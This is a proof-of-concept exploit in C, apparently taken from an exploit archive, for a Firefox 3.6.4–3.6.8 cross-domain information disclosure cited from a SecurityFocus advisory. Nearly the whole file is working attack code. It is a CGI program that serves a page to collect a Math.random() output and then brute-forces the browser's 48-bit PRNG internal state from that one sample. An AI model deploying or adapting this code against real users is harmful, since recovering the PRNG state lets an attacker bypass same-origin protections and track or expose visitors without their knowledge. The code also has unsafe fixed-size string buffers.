106 lines
No EOL
2.6 KiB
C
106 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/43222/info
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Mozilla Firefox is prone to a cross-domain information-disclosure vulnerability.
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An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content.
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Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.
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#include <stdlib.h>
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#include <stdio.h>
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#include <string.h>
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typedef unsigned long long int uint64;
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typedef unsigned int uint32;
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#define UINT64(x) (x##ULL)
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#define a UINT64(0x5DEECE66D)
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#define b UINT64(0xB)
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uint64 adv(uint64 x)
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{
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return (a*x+b) & ((UINT64(1)<<48)-1);
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}
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unsigned int calc(double sample,uint64* state)
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{
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int v;
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uint64 sample_int=sample*((double)(UINT64(1)<<53));
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uint32 x1=sample_int>>27;
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uint32 x2=sample_int & ((1<<27)-1);
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uint32 out;
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if ((sample>=1.0) || (sample<0.0))
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{
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// Error - bad input
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return 1;
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}
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for (v=0;v<(1<<22);v++)
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{
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*state=adv((((uint64)x1)<<22)|v);
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out=((*state)>>(48-27))&((1<<27)-1);
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if (out==x2)
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{
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return 0;
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}
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}
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// Could not find PRNG internal state
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return 2;
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}
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int main(int argc, char* argv[])
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{
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char body[1000]="";
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char head[]="\
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<html>\
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<body>\
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<script>\
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document.write('userAgent: '+navigator.userAgent);\
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</script>\
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<br>\
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";
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char tail[]="\
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<form method='GET' onSubmit='f()'>\
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<input type='hidden' name='r'>\
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<input id='x' type='submit' name='dummy'\
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value='Calculate Firefox 3.6.4-3.6.8 PRNG state'>\
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</form>\
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<script>\
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function f()\
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{\
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document.forms[0].r.value=Math.random();\
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}\
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</script>\
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</body>\
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</html>\
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";
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char tail2[]="\
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</body>\
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</html>\
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";
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double r;
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char msg[1000];
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int rc;
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uint64 state;
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strcat(body,head);
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if (strstr(getenv("QUERY_STRING"),"r=")!=NULL)
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{
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sscanf(getenv("QUERY_STRING"),"r=%lf",&r);
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rc=calc(r,&state);
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if (rc==0)
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{
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sprintf(msg,"PRNG state (hex): %012llx\n",state);
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strcat(body,msg);
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}
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else
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{
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sprintf(msg,"Error in calc(): %d\n",rc);
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strcat(body,msg);
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}
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strcat(body,tail2);
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}
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else
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{
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strcat(body,tail);
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}
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printf("Content-Type: text/html\r\n");
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printf("Content-Length: %d\r\n",strlen(body));
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printf("Cache-Control: no-cache\r\n");
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printf("\r\n");
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printf("%s",body);
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return;
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} |